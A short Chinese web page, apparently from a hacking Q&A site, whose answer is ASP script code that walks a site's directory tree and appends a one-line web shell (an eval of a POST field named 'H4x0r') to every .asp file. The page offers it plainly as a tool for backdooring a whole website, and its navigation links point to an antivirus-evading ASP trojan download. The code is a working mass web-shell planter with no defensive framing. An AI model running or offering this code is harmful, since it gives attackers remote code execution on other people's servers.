FSO遍历目录实现全站插马的代码

答案：<% 
dim ph 
dim intfile 
server.ScriptTimeout = 600 
ph=server.mappath("/")  
Sub InsertAllFiles(Path) 
Set FSO = CreateObject("Scripting.FileSystemObject") 
on error resume next  
Set f = FSO.GetFolder(Path) 
Set fc2 = f.files 
For Each myfile in fc2 
If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then 
Set FS1 = CreateObject("Scripting.FileSystemObject") 
Set tfile=FS1.opentextfile(path&""&myfile.name,8,false) 
tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>" 
else 
InsertAllFiles(newpath) 
end if 
tfile.close 
Next 
Set fsubfolers = f.SubFolders 
For Each f1 in fsubfolers 
newpath=path&""&f1.name 
InsertAllFiles(newpath) 

Next 
set tfile=nothing 
Set FSO = Nothing 
End Sub 
%> 
<%  
call InsertAllFiles(ph) 
%>

上一个：提供个 全免杀海洋2006asp木马 下载
下一个：ASP实现GB2312字符与区位码的相互转换的代码